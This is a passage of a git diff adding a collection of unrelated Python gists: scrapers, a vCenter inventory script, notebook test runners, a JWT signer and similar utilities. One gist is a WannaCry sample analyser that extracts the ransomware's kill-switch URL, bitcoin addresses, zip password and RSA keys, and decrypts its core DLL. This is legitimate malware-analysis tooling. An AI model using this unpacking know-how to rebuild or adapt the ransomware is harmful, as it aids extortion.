+        vapp_name = unquote(vc_root.name)
+
+        for _entity in vc_root.vm:
+            traverse_entities(_entity, depth+1)
+        return
+
+    # The rest should only be Virtual Machines
+    if object_type != 'vim.VirtualMachine':
+        if args.verbose:
+            print('{0}: Found unknown object, skipping it'.format(
+                object_type
+            ))
+        return
+
+    # From here on a VM is processed, you can get lots of information about
+    # them from vcenter and from guest tools, if they're installed. See the
+    # mob for more info.
+    vm = vc_root
+    vm_name = unquote(vm.name)
+
+    print('Found VM {0}'.format(vm_name))
+
+    # The following code gathers information about the VM from various
+    # attributes of the VirtualMachine object in vcenter.
+    if hasattr(vm, 'runtime'):
+        runtime = vm.runtime
+
+        # Get cluster name of VM
+        try:
+            cluster_name = runtime.host.parent.name
+        except AttributeError:
+            cluster_name = ''
+
+        # Get last VM power state, this is only interesting because newly
+        # imported VMs will lack guest info like IP and networks if they're
+        # powered off at import.
+        try:
+            power_state = str(runtime.powerState)
+        except AttributeError:
+            power_state = ''
+
+
+def main():
+    args = parser.parse_args()
+
+    if args.config_file:
+        config.readfp(args.config_file)
+
+    try:
+        si = SmartConnect(
+            host=config.get('vcenter', 'hostname'),
+            user=config.get('vcenter', 'username'),
+            pwd=config.get('vcenter', 'password'),
+            port=int(config.get('vcenter', 'port'))
+        )
+    except Exception as e:
+        print(
+            'Could not connect to vcenter server: {0}'.format(
+                str(e)
+            ), file=stderr
+        )
+        exit(-1)
+
+    atexit.register(Disconnect, si)
+
+    # Main content object from vcenter
+    content = si.RetrieveContent()
+
+    # Loop through each parent entity recursively
+    for child in content.rootFolder.childEntity:
+        traverse_entities(child)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/25d48938c07b73541361/._snippet.py b/hard-gists/25d48938c07b73541361/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/25d48938c07b73541361/._snippet.py differ
diff --git a/hard-gists/25d48938c07b73541361/snippet.py b/hard-gists/25d48938c07b73541361/snippet.py
new file mode 100644
index 00000000..1e9890bc
--- /dev/null
+++ b/hard-gists/25d48938c07b73541361/snippet.py
@@ -0,0 +1,96 @@
+import gspread
+from newspaper import Article
+from bs4 import BeautifulSoup
+import requests
+import re
+import time
+import feedparser
+
+# Login with your Google account
+gc = gspread.login('megmailaccount', 'mepassword')
+
+# Open a worksheet from spreadsheet with one shot
+wks = gc.open("Morning App feed").sheet1
+data = wks.get_all_values()
+scraped_urls = [i[3] for i in data[1:]]
+
+
+def format(text):
+    #remove content inside round brackets
+    text =  re.sub(r'\[(?:[^\]|]*\|)?([^\]|]*)\]', '', text)
+    #remove content inside round brackets
+    text = re.sub(r'\([^)]*\)', '', text)
+    text = text.strip()
+    return text
+
+def addToSpreadsheet(title,url):
+    article= Article(url)
+    article.download()
+    article.parse()
+    image = article.top_image
+    wks.insert_row([time.strftime("%d/%m/%Y"),"some category",title,url,image],index=2)
+
+def scrapeRedditArticles(limit=6,url="http://www.reddit.com/r/GetMotivated/search.json?q=flair%3Aarticle&sort=top&restrict_sr=on&t=week"):
+    reddit_url = url
+    headers = {'User-Agent' : 'this is a simple reddit bot by /u/tomarina'}
+    reddit_json = requests.get(reddit_url,headers=headers).json()
+    
+    for i in reddit_json["data"]["children"][:6]:
+        if i['data']['is_self'] == True: continue
+        if i['data']['over_18'] == True: continue
+        if i["data"]["url"] in scraped_urls: continue
+        title = format(i["data"]["title"])
+        url = i["data"]["url"]
+        print title,url
+        addToSpreadsheet(title,url)
+        
+def scrapeQuotes(limit=3):
+    scrapeRedditArticles(limit,url="http://www.reddit.com/r/GetMotivated/search.json?q=flair%3Aimage&sort=top&restrict_sr=on&t=week")
+
+def scrapeLifehacker(limit=4):
+    url = "http://lifehacker.com/tag/motivation"
+    data  = requests.get(url).text
+    soup = BeautifulSoup(data)
+    
+    for item in soup.select("div.post-list > div.post-wrapper")[:limit]:
+        title = item.select("h1.headline")[0].get_text()
+        url = item.select("h1.headline > a")[0].get("href")
+        if url in scraped_urls:continue
+        print title,url
+        addToSpreadsheet(title,url)
+
+def scrapeHuffPost(limit=4):
+    url = "http://www.huffingtonpost.com/feeds/verticals/good-news/index.xml"
+    d = feedparser.parse(url)
+
+    for item in d["entries"][:limit]:
+        title = item['title']
+        url = item['link']
+        print title,url,pubdate
+        addToSpreadsheet(title,url)
+
+
+def scrapeEntrepreneur(limit=4):
+    url = "http://www.entrepreneur.com/topic/motivation"
+    data  = requests.get(url).text
+    soup = BeautifulSoup(data)
+    
+    for item in soup.select("div.adrt-content > div.row > div.col-md-12 > div.pl")[:limit]:
+        title = item.select("h3 > a")[0].get_text()
+        url = item.select("h3 > a")[0].get('href')
+        url = "http://www.entrepreneur.com"+url
+        print title,url
+        addToSpreadsheet(title,url)
+
+
+def dailyCron():
+    scrapeRedditArticles(2)
+    scrapeEntrepreneur(2)
+    scrapeQuotes(1)
+    scrapeLifehacker(2)
+    scrapeHuffPost(2)
+    scrapeEntrepreneur(2)
+    scrapeQuotes(1)
+
+if __name__ == '__main__':
+    dailyCron()
diff --git a/hard-gists/25d98841e6a82f30ae5cac24e9039856/._snippet.py b/hard-gists/25d98841e6a82f30ae5cac24e9039856/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/25d98841e6a82f30ae5cac24e9039856/._snippet.py differ
diff --git a/hard-gists/25d98841e6a82f30ae5cac24e9039856/snippet.py b/hard-gists/25d98841e6a82f30ae5cac24e9039856/snippet.py
new file mode 100644
index 00000000..8457786e
--- /dev/null
+++ b/hard-gists/25d98841e6a82f30ae5cac24e9039856/snippet.py
@@ -0,0 +1,179 @@
+import re
+import os,sys
+import pefile
+import struct
+import zipfile
+import hashlib
+import StringIO
+from Crypto import Random
+from Crypto.PublicKey import RSA
+from Crypto.Cipher import PKCS1_v1_5,AES
+
+
+RSA_re = re.compile(r'RSA(1|2)')
+get_urls = lambda d: map(lambda x:x.strip("\x00"),re.findall("https?://[\x1f-\x7e]{6,}\x00",d))
+get_strings = lambda d: re.findall('[ -~]{3,}',d)
+BTC_re = re.compile('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$')
+
+def get_rsc(pe,pred):
+    def walk_rsc(d):
+        if pred(pe,d):
+            x = d.data.struct
+            return pe.get_data(x.OffsetToData,x.Size)
+    
+        if not hasattr(d,'directory'): return None
+    
+        for d in d.directory.entries:
+            r = walk_rsc(d)
+            if r: return r
+        
+    for d in pe.DIRECTORY_ENTRY_RESOURCE.entries:
+        r=walk_rsc(d)
+        if r:return r
+
+def rsc_pe_pred(pe,d):
+    return  hasattr(d,'data') and pe.get_data(d.data.struct.OffsetToData,  2) == 'MZ'
+
+def rsc_zip_pred(pe,d):
+    return  hasattr(d,'data') and pe.get_data(d.data.struct.OffsetToData,  2) == 'PK'
+
+
+def try_passwd(zipf,f,pw):
+    try:
+        zp = zipfile.ZipFile(StringIO.StringIO(zipf))
+        return zp.open(f,'r',pw).read()
+    except Exception as e:
+        return False
+
+class RSAKEY(object):
+
+    def __init__(self,d):
+        self.bin = d
+        self.off = 0 
+        self.bits = 0
+    def get_int(self,b):
+        r=long(self.bin[self.off:self.off+self.bits/b][::-1].encode('hex'),16)
+        self.off += self.bits/b
+        return r
+
+    def unpack(self):
+
+        if self.bin[0] not in ["\x06","\x07"]:
+            return None
+
+        if self.bin[8:12] not in ['RSA1','RSA2']:
+            return None
+        key = {}
+        priv = self.bin[0] == "\x07"
+        self.bits,key['e'] = struct.unpack('II',self.bin[12:20])
+        self.off = 20
+        key['n']= self.get_int(8)
+        if priv:
+            key['p1'] = self.get_int(16)
+            key['p2'] = self.get_int(16)
+            key['exp1'] = self.get_int(16)
+            key['exp2'] = self.get_int(16)
+            key['coeff'] = self.get_int(16)
+            key['d'] = self.get_int(8)
+            ko = RSA.construct((key['n'],long(key['e']),key['d']))
+        else:
+            ko = RSA.construct((key['n'],long(key['e'])))
+        return ko,key
+    
+def decode_aes_key(key,data):
+    ## stolen from https://github.com/sysopfb/Malware_Scripts/blob/master/wannacry/decode_dll.py
+    ## kudos to sysopfb
+    cipher = PKCS1_v1_5.new(key)
+
+    sentinel = Random.new().read(16)
+    d = cipher.decrypt(data[::-1],sentinel)
+    return d
+
+def check_hdr(bin):
+    return True
+
+
+def handle_dropper(fpath):
+    pe = pefile.PE(sys.argv[1])
+    for s in pe.sections:
+        if s.Name.startswith('.data'):
+            url = get_urls(s.get_data())[0]
+            print '[+] Kill-Switch/Sandbox check url',url
+            break
+    return get_rsc(pe,rsc_pe_pred)
+try:
+    inner_exe = handle_dropper(sys.argv[1])
+    pe2= pefile.PE(data=inner_exe)
+    print '[+] got dropper'
+    drop = True
+except Exception as e:
+    drop= False
+    pe2 = pefile.PE(sys.argv[1])
+    inner_exe = open(sys.argv[1]).read()
+    print '[+] got inner loader'
+    
+inner_zip =get_rsc(pe2,rsc_zip_pred)
+cfg_files = []
+for s in pe2.sections:
+    if s.Name.startswith('.data'):
+        data_s = s
+        strings= get_strings(s.get_data())
+        for st in strings:
+            if BTC_re.match(st):
+                print '[+] bitcoin address', st
+            elif st.endswith('.wnry'):
+                print '[*] possible configuration file', st
+                cfg_files.append(st)
+            elif st.startswith('Global'):
+                print '[+] Mutex',st
+
+
+# for s in cfg_files:
+#     try_passwd(inner_zip,s,'')
+
+for s in strings:
+     if try_passwd(inner_zip,cfg_files[0],s):
+         print '[+] zip password',s
+         passwd = s
+for f in cfg_files:
+    d= try_passwd(inner_zip,f,passwd)
+    if 'onion' in d:
+        print '[+] Configuration file',f
+        urls = get_strings(d)[0]
+        print '[+] payment sites:\n ',
+        print '\n  '.join(urls.split(';'))
+    else:
+        end_dll = d
+
+off = RSA_re.finditer(inner_exe).next().start() - 8
+ko,key = RSAKEY(inner_exe[off:]).unpack()
+print '[+] 1st Embeded RSA key'
+print ko.exportKey()
+if not check_hdr(end_dll):
+    print '[-] wrong file...'
+    
+(_, size) = struct.unpack('<IQ', end_dll[12+256:12+256+12])
+aes_key = decode_aes_key(ko,end_dll[12:256+12])
+c = AES.new(aes_key, AES.MODE_CBC, '\x00'*16)
+core=c.decrypt(end_dll[24+256:24+256+size])
+
+if drop:
+    fname = 'inner.%s.exe' % hashlib.sha256(inner_exe).hexdigest()
+    print '[+] saving inner loader as', fname
+    with open('/tmp/' + fname,'w') as f:
+        f.write(inner_exe)
+
+fname = 'inner.%s.zip' % hashlib.sha256(inner_zip).hexdigest()
+print '[+] saving inner zip as', fname
+with open('/tmp/' + fname,'w') as f:
+        f.write(inner_zip)
+print '[+] embeded keys:'
+for g in RSA_re.finditer(core):
+    ko,_ = RSAKEY(core[g.start()-8:]).unpack()
+    print ko.exportKey()
+
+        
+fname = 'core.%s.dll' % hashlib.sha256(core).hexdigest()
+print '[+] saving core dll as', fname
+with open('/tmp/' + fname,'w') as f:
+        f.write(core)
\ No newline at end of file
diff --git a/hard-gists/2604241/._snippet.py b/hard-gists/2604241/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2604241/._snippet.py differ
diff --git a/hard-gists/2604241/snippet.py b/hard-gists/2604241/snippet.py
new file mode 100644
index 00000000..b33a113b
--- /dev/null
+++ b/hard-gists/2604241/snippet.py
@@ -0,0 +1,42 @@
+import base64
+import time
+import OpenSSL
+
+from django.utils import simplejson
+
+def _json_dumps(obj):
+    return simplejson.dumps(obj, separators=(',', ':'))
+
+def _base64url(data):
+    return base64.urlsafe_b64encode(data).rstrip('=')
+
+class JWT(object):
+    """Class to construct the JSON Web Tokens for authenticating
+    with Google servers."""
+    def __init__(self, key_file, password='notasecret'):
+        # Read the key_file into memory:
+        fp = file(key_file, 'rb')
+        key_data = fp.read()
+        fp.close()
+
+        self._header = _base64url(_json_dumps(dict(alg='RS256', typ='JWT')))
+        self._key = OpenSSL.crypto.load_pkcs12(key_data, password).get_privatekey()
+
+    def make_claim(self, client_id, scope, lifetime=None):
+        now = long(time.time())
+        if lifetime is None or lifetime > 3600 or lifetime < 1:
+            lifetime = 3600
+
+        claim = _base64url(_json_dumps({
+            'iss': client_id,
+            'scope': scope,
+            'aud': 'https://accounts.google.com/o/oauth2/token',
+            'exp': now + lifetime,
+            'iat': now,
+        }))
+
+        # Sign message:
+        msg = '%s.%s' % (self._header, claim)
+        sig = _base64url(OpenSSL.crypto.sign(self._key, msg, 'sha256'))
+
+        return '%s.%s' % (msg, sig)
diff --git a/hard-gists/260617/._snippet.py b/hard-gists/260617/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/260617/._snippet.py differ
diff --git a/hard-gists/260617/snippet.py b/hard-gists/260617/snippet.py
new file mode 100644
index 00000000..24859f8b
--- /dev/null
+++ b/hard-gists/260617/snippet.py
@@ -0,0 +1,21 @@
+'''
+This python script listens for distributed notifications from iTunes of new songs playing, 
+works alot better then constantly polling. 
+'''
+import Foundation
+from AppKit import *
+from PyObjCTools import AppHelper
+
+class GetSongs(NSObject):
+    def getMySongs_(self, song):
+        song_details = {}
+        ui = song.userInfo()
+        song_details = dict(zip(ui.keys(), ui.values()))
+        print song_details
+
+nc = Foundation.NSDistributedNotificationCenter.defaultCenter()
+GetSongs = GetSongs.new()
+nc.addObserver_selector_name_object_(GetSongs, 'getMySongs:', 'com.apple.iTunes.playerInfo',None)
+
+NSLog("Listening for new tunes....")
+AppHelper.runConsoleEventLoop()
\ No newline at end of file
diff --git a/hard-gists/261818/._snippet.py b/hard-gists/261818/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/261818/._snippet.py differ
diff --git a/hard-gists/261818/snippet.py b/hard-gists/261818/snippet.py
new file mode 100644
index 00000000..550f57dd
--- /dev/null
+++ b/hard-gists/261818/snippet.py
@@ -0,0 +1,73 @@
+#!/usr/bin/env python
+
+import getpass
+import os
+import sys
+
+## Application specific
+SDK_DIR = '/usr/local/google_appengine'
+APP_DIR = '/home/username/src/app'
+APPID = 'something-awesome'
+EMAIL = 'my.email@host.dom'
+
+REMOTE_API_PATH = '/remote_api'
+
+## Extra paths to be inserted into sys.path,
+## including the SDK, it's libraries, your APPDIR, and APPDIR/lib
+EXTRA_PATHS = [
+	SDK_DIR,
+	os.path.join(SDK_DIR, 'lib', 'antlr3'),
+	os.path.join(SDK_DIR, 'lib', 'django'),
+	os.path.join(SDK_DIR, 'lib', 'webob'),
+	os.path.join(SDK_DIR, 'lib', 'yaml', 'lib'),
+	APP_DIR,
+	os.path.join(APP_DIR, 'lib'),
+]
+sys.path = EXTRA_PATHS + sys.path
+
+from google.appengine.ext.remote_api import remote_api_stub
+
+
+def attach(host=None):
+	def auth_func():
+		if host and host.startswith('localhost'):
+			return ('foo', 'bar')
+		else:
+			return (EMAIL, getpass.getpass())
+	remote_api_stub.ConfigureRemoteApi(APPID, REMOTE_API_PATH, auth_func, host)
+	remote_api_stub.MaybeInvokeAuthentication()
+	os.environ['SERVER_SOFTWARE'] = 'Development (remote_api)/1.0'
+
+
+if __name__ == '__main__':
+	if len(sys.argv) == 2 and sys.argv[1] == '-l':
+		host = 'localhost:8080'
+	else: 
+		host = None
+
+	attach(host)
+
+	from google.appengine.ext import db
+	from google.appengine.api import memcache
+
+	BANNER = "App Engine remote_api shell\n" + \
+	"Python %s\n" % sys.version + \
+	"The db, and memcache modules are imported."
+
+	## Use readline for completion/history if available
+	try:
+		import readline
+	except ImportError:
+		pass
+	else:
+		HISTORY_PATH = os.path.expanduser('~/.remote_api_shell_history')
+		readline.parse_and_bind('tab: complete')
+		if os.path.exists(HISTORY_PATH):
+			readline.read_history_file(HISTORY_PATH)
+		import atexit
+		atexit.register(lambda: readline.write_history_file(HISTORY_PATH))
+
+	sys.ps1 = '%s <-- ' % (host or APPID)
+
+	import code
+	code.interact(banner=BANNER, local=globals())
diff --git a/hard-gists/2620735/._snippet.py b/hard-gists/2620735/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2620735/._snippet.py differ
diff --git a/hard-gists/2620735/snippet.py b/hard-gists/2620735/snippet.py
new file mode 100644
index 00000000..1c1fcb8f
--- /dev/null
+++ b/hard-gists/2620735/snippet.py
@@ -0,0 +1,201 @@
+#!/usr/bin/env python
+"""
+simple example script for running and testing notebooks.
+
+Usage: `ipnbdoctest.py foo.ipynb [bar.ipynb [...]]`
+
+Each cell is submitted to the kernel, and the outputs are compared with those stored in the notebook.
+"""
+# License: Public Domain, but credit is nice (Min RK).
+
+import os,sys,time
+import base64
+import re
+
+from collections import defaultdict
+from Queue import Empty
+
+try:
+    from IPython.kernel import KernelManager
+except ImportError:
+    from IPython.zmq.blockingkernelmanager import BlockingKernelManager as KernelManager
+
+from IPython.nbformat.current import reads, NotebookNode
+
+
+def compare_png(a64, b64):
+    """compare two b64 PNGs (incomplete)"""
+    try:
+        import Image
+    except ImportError:
+        pass
+    adata = base64.decodestring(a64)
+    bdata = base64.decodestring(b64)
+    return True
+
+def sanitize(s):
+    """sanitize a string for comparison.
+    
+    fix universal newlines, strip trailing newlines, and normalize likely random values (memory addresses and UUIDs)
+    """
+    if not isinstance(s, basestring):
+        return s
+    # normalize newline:
+    s = s.replace('\r\n', '\n')
+    
+    # ignore trailing newlines (but not space)
+    s = s.rstrip('\n')
+    
+    # normalize hex addresses:
+    s = re.sub(r'0x[a-f0-9]+', '0xFFFFFFFF', s)
+    
+    # normalize UUIDs:
+    s = re.sub(r'[a-f0-9]{8}(\-[a-f0-9]{4}){3}\-[a-f0-9]{12}', 'U-U-I-D', s)
+    
+    return s
+
+
+def consolidate_outputs(outputs):
+    """consolidate outputs into a summary dict (incomplete)"""
+    data = defaultdict(list)
+    data['stdout'] = ''
+    data['stderr'] = ''
+    
+    for out in outputs:
+        if out.type == 'stream':
+            data[out.stream] += out.text
+        elif out.type == 'pyerr':
+            data['pyerr'] = dict(ename=out.ename, evalue=out.evalue)
+        else:
+            for key in ('png', 'svg', 'latex', 'html', 'javascript', 'text', 'jpeg',):
+                if key in out:
+                    data[key].append(out[key])
+    return data
+
+
+def compare_outputs(test, ref, skip_compare=('png', 'traceback', 'latex', 'prompt_number')):
+    for key in ref:
+        if key not in test:
+            print "missing key: %s != %s" % (test.keys(), ref.keys())
+            return False
+        elif key not in skip_compare and sanitize(test[key]) != sanitize(ref[key]):
+            print "mismatch %s:" % key
+            print test[key]
+            print '  !=  '
+            print ref[key]
+            return False
+    return True
+
+
+def run_cell(shell, iopub, cell):
+    # print cell.input
+    shell.execute(cell.input)
+    # wait for finish, maximum 20s
+    shell.get_msg(timeout=20)
+    outs = []
+    
+    while True:
+        try:
+            msg = iopub.get_msg(timeout=0.2)
+        except Empty:
+            break
+        msg_type = msg['msg_type']
+        if msg_type in ('status', 'pyin'):
+            continue
+        elif msg_type == 'clear_output':
+            outs = []
+            continue
+        
+        content = msg['content']
+        # print msg_type, content
+        out = NotebookNode(output_type=msg_type)
+        
+        if msg_type == 'stream':
+            out.stream = content['name']
+            out.text = content['data']
+        elif msg_type in ('display_data', 'pyout'):
+            out['metadata'] = content['metadata']
+            for mime, data in content['data'].iteritems():
+                attr = mime.split('/')[-1].lower()
+                # this gets most right, but fix svg+html, plain
+                attr = attr.replace('+xml', '').replace('plain', 'text')
+                setattr(out, attr, data)
+            if msg_type == 'pyout':
+                out.prompt_number = content['execution_count']
+        elif msg_type == 'pyerr':
+            out.ename = content['ename']
+            out.evalue = content['evalue']
+            out.traceback = content['traceback']
+        else:
+            print "unhandled iopub msg:", msg_type
+        
+        outs.append(out)
+    return outs
+    
+
+def test_notebook(nb):
+    km = KernelManager()
+    km.start_kernel(extra_arguments=['--pylab=inline'], stderr=open(os.devnull, 'w'))
+    try:
+        kc = km.client()
+        kc.start_channels()
+        iopub = kc.iopub_channel
+    except AttributeError:
+        # IPython 0.13
+        kc = km
+        kc.start_channels()
+        iopub = kc.sub_channel
+    shell = kc.shell_channel
+    
+    # run %pylab inline, because some notebooks assume this
+    # even though they shouldn't
+    shell.execute("pass")
+    shell.get_msg()
+    while True:
+        try:
+            iopub.get_msg(timeout=1)
+        except Empty:
+            break
+    
+    successes = 0
+    failures = 0
+    errors = 0
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type != 'code':
+                continue
+            try:
+                outs = run_cell(shell, iopub, cell)
+            except Exception as e:
+                print "failed to run cell:", repr(e)
+                print cell.input
+                errors += 1
+                continue
+            
+            failed = False
+            for out, ref in zip(outs, cell.outputs):
+                if not compare_outputs(out, ref):
+                    failed = True
+            if failed:
+                failures += 1
+            else:
+                successes += 1
+            sys.stdout.write('.')
+
+    print
+    print "tested notebook %s" % nb.metadata.name
+    print "    %3i cells successfully replicated" % successes
+    if failures:
+        print "    %3i cells mismatched output" % failures
+    if errors:
+        print "    %3i cells failed to complete" % errors
+    kc.stop_channels()
+    km.shutdown_kernel()
+    del km
+
+if __name__ == '__main__':
+    for ipynb in sys.argv[1:]:
+        print "testing %s" % ipynb
+        with open(ipynb) as f:
+            nb = reads(f.read(), 'json')
+        test_notebook(nb)
diff --git a/hard-gists/2620876/._snippet.py b/hard-gists/2620876/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2620876/._snippet.py differ
diff --git a/hard-gists/2620876/snippet.py b/hard-gists/2620876/snippet.py
new file mode 100644
index 00000000..7d4b117e
--- /dev/null
+++ b/hard-gists/2620876/snippet.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+simple example script for running notebooks and reporting exceptions.
+
+Usage: `checkipnb.py foo.ipynb [bar.ipynb [...]]`
+
+Each cell is submitted to the kernel, and checked for errors.
+"""
+
+import os,sys,time
+
+from Queue import Empty
+
+try:
+    from IPython.kernel import KernelManager
+except ImportError:
+    from IPython.zmq.blockingkernelmanager import BlockingKernelManager as KernelManager
+
+from IPython.nbformat.current import reads, NotebookNode
+
+def run_notebook(nb):
+    km = KernelManager()
+    km.start_kernel(stderr=open(os.devnull, 'w'))
+    try:
+        kc = km.client()
+    except AttributeError:
+        # 0.13
+        kc = km
+    kc.start_channels()
+    shell = kc.shell_channel
+    # simple ping:
+    shell.execute("pass")
+    shell.get_msg()
+    
+    cells = 0
+    failures = 0
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type != 'code':
+                continue
+            shell.execute(cell.input)
+            # wait for finish, maximum 20s
+            reply = shell.get_msg(timeout=20)['content']
+            if reply['status'] == 'error':
+                failures += 1
+                print "\nFAILURE:"
+                print cell.input
+                print '-----'
+                print "raised:"
+                print '\n'.join(reply['traceback'])
+            cells += 1
+            sys.stdout.write('.')
+
+    print
+    print "ran notebook %s" % nb.metadata.name
+    print "    ran %3i cells" % cells
+    if failures:
+        print "    %3i cells raised exceptions" % failures
+    kc.stop_channels()
+    km.shutdown_kernel()
+    del km
+
+if __name__ == '__main__':
+    for ipynb in sys.argv[1:]:
+        print "running %s" % ipynb
+        with open(ipynb) as f:
+            nb = reads(f.read(), 'json')
+        run_notebook(nb)
diff --git a/hard-gists/2623926/._snippet.py b/hard-gists/2623926/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2623926/._snippet.py differ
diff --git a/hard-gists/2623926/snippet.py b/hard-gists/2623926/snippet.py
new file mode 100644
index 00000000..f778e6f3
--- /dev/null
+++ b/hard-gists/2623926/snippet.py
@@ -0,0 +1,17 @@
+from dns.resolver import Resolver
+
+# make a system resolver using /etc/resolv.conf
+sys_r = Resolver()
+dns = ['ns1.dreamhost.com', 'ns2.dreamhost.com', 'ns3.dreamhost.com']
+
+dreamhost_dns = [ item.address for server in dns for item in sys_r.query(server) ]
+
+# a resolver using dreamhost dns server
+dreamhost_r = Resolver()
+dreamhost_r.nameservers = dreamhost_dns
+
+answer = dreamhost_r.query('slobodensoftver.org.mk', 'mx')
+
+for mx in answer.rrset.items:
+    print mx
+
diff --git a/hard-gists/2628382/._snippet.py b/hard-gists/2628382/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2628382/._snippet.py differ
diff --git a/hard-gists/2628382/snippet.py b/hard-gists/2628382/snippet.py
new file mode 100644
index 00000000..d99d6c19
--- /dev/null
+++ b/hard-gists/2628382/snippet.py
@@ -0,0 +1,122 @@
+from zope.interface.registry  import Components
+from zope.interface import Interface
+from zope.interface import Attribute
+from zope.interface import provider
+from zope.interface import implementer
+
+## global registry
+_global_registry = None
+def global_registry():
+    return _global_registry or Components()
+
+class IView(Interface):
+    def __call__(request):
+        pass
+
+class IRenderer(Interface):
+    def __call__(system, value):
+        pass
+
+class IRequest(Interface):
+    registry = Attribute("registry")
+
+class IResponse(Interface):
+    request = Attribute("request")
+    body = Attribute("body")
+
+@provider(IView)
+def simple_view(request):
+    return {"author": "foo-boo"}
+
+@provider(IRenderer)
+def StringRenderer(system, value):
+    import StringIO
+    io = StringIO.StringIO()
+    io.write("----------------------------------------\n")
+    for k,v in value.iteritems():
+        io.write("\t%s: %s\n" % (k,v))
+    return io.getvalue()
+
+@implementer(IResponse)
+class Response(object):
+    def __init__(self, request, body):
+        self.request = request
+        self.body = body
+
+    def __str__(self):
+        return self.body
+
+class Configurator(object):
+    def __init__(self, registry=None):
+        self.registry = registry or global_registry()
+
+    def add_view(self, name=None, view=None, renderer=None):
+        self.registry.registerUtility(view, IView, name)
+        self.registry.registerUtility(renderer, IRenderer, str(view))
+
+class LookUp(object):
+    def __init__(self, registry):
+        self.registry = registry
+
+    def make_request(self, args, kwargs):
+        registry = self.registry
+        request = registry.queryUtility(IRequest) or Request()
+        request.args = args
+        request.kwargs = kwargs
+        request.registry = registry
+        request.lookup = self
+        return request
+
+    def get_view(self, name):
+        registry = self.registry
+        return registry.getUtility(IView, name)
+
+    def get_renderer(self, view):
+        registry = self.registry
+        return registry.getUtility(IRenderer, str(view))
+
+class Router(object):
+    def __init__(self, config):
+        self.config = config
+        self.lookup = LookUp(config.registry)
+
+    def __call__(self, name, args=None, kwargs=None):
+        request = self.lookup.make_request(args or (), kwargs or {})
+
+        view = self.lookup.get_view(name)
+        renderer = self.lookup.get_renderer(view)
+
+        system = dict(config=self.config,
+                      route=self,
+                      lookup=self.lookup,
+                      view_name=name,
+                      view=view,
+                      request=request)
+
+        value = renderer(system, view(request))
+        return Response(request, value)
+
+@implementer(IRequest)
+class Request(object):
+    pass
+
+if __name__ == "__main__":
+    import unittest
+    class ReturnValueTest(unittest.TestCase):
+        def test_router(self):
+            config = Configurator()
+            config.add_view("simple", simple_view, StringRenderer)
+
+            router = Router(config)
+            result = router("simple")
+            expected = u"""\
+----------------------------------------
+	author: foo-boo
+"""
+            self.assertEquals(expected, result.body)
+
+        def test_view(self):
+            result = simple_view(None)
+            self.assertEquals({"author": "foo-boo"}, result)
+
+    unittest.main()
diff --git a/hard-gists/263113/._snippet.py b/hard-gists/263113/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/263113/._snippet.py differ
diff --git a/hard-gists/263113/snippet.py b/hard-gists/263113/snippet.py
new file mode 100644
index 00000000..f8178fd2
--- /dev/null
+++ b/hard-gists/263113/snippet.py
@@ -0,0 +1,26 @@
+import django
+from django.utils.translation import ugettext_lazy as _
+from debug_toolbar.panels import DebugPanel
+from haystack.backends import queries
+
+class HaystackDebugPanel(DebugPanel):
+    """
+    Panel that displays the Haystack queries.
+    """
+    name = 'Haystack'
+    has_content = True
+    
+    def nav_title(self):
+        return _('Haystack queries')
+
+    def nav_subtitle(self):
+        return "%s queries" % len(queries)
+
+    def url(self):
+        return ''
+
+    def title(self):
+        return 'Haystack Queries'
+
+    def content(self):
+        return "".join(["<p>%s<br><br></p>" % q for q in queries])
\ No newline at end of file
diff --git a/hard-gists/2632394/._snippet.py b/hard-gists/2632394/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2632394/._snippet.py differ
diff --git a/hard-gists/2632394/snippet.py b/hard-gists/2632394/snippet.py
new file mode 100644
index 00000000..da4c23c4
--- /dev/null
+++ b/hard-gists/2632394/snippet.py
@@ -0,0 +1,87 @@
+#!/usr/bin/env python
+import urllib
+import pprint
+import amazonproduct
+from BeautifulSoup import BeautifulSoup
+from review import db
+
+AWS_KEY = 'YOUR_AWS_KEY'
+SECRET_KEY = 'YOUR_AWS_SECRET_KEY'
+API_PAGE_LIMIT = 10
+
+REVIEW_URL = r"http://www.amazon.com/product-reviews/%s/"
+REVIEW_URL += r"ref=cm_cr_pr_top_link_1?ie=UTF8&pageNumber=%s&showViewpoints=0&sortBy=bySubmissionDateDescending"
+
+
+# search for a keyword and get ASINs for returned results
+# returns list of ASINs
+def get_asin(product_type, keyword, associate_tag, callback=None):
+    api = amazonproduct.API(AWS_KEY, SECRET_KEY, 'us', associate_tag=associate_tag)
+    asin_list = []
+    results = api.item_search(product_type, Title=keyword, IncludeReviewsSummary=True)
+    for page in results:
+        asin_list.extend([unicode(b.ASIN) for b in page.Items.Item])
+        if results.current >= API_PAGE_LIMIT:
+            break
+
+    return asin_list
+
+# Parse a url for product reviews
+# return tuple of (review text, rating)
+def parse_reviews(url):
+    # sample url for prod review
+    #http://www.amazon.com/product-reviews/B0006GBDZY/pageNumber=2
+    data = urllib.urlopen(url).read()
+    soup = BeautifulSoup(data)
+    reviews = []
+    for rawreview in soup.findAll('span','swSprite'):
+        text = rawreview.parent.parent.parent.text
+        if text.startswith("Report abuse"):
+            continue
+        if text.rfind('YesNoReport abuse|Permalink') < 0:
+            continue
+
+        ratingindex = text.index('review helpful') + 14
+        startindex = text.index('5 stars') + 7
+        endindex = text.index('Help other customers find the most helpful review')
+        if ratingindex > startindex:
+            ratingindex = 0
+
+        ratingtext = text[ratingindex:startindex]
+        #print ratingtext
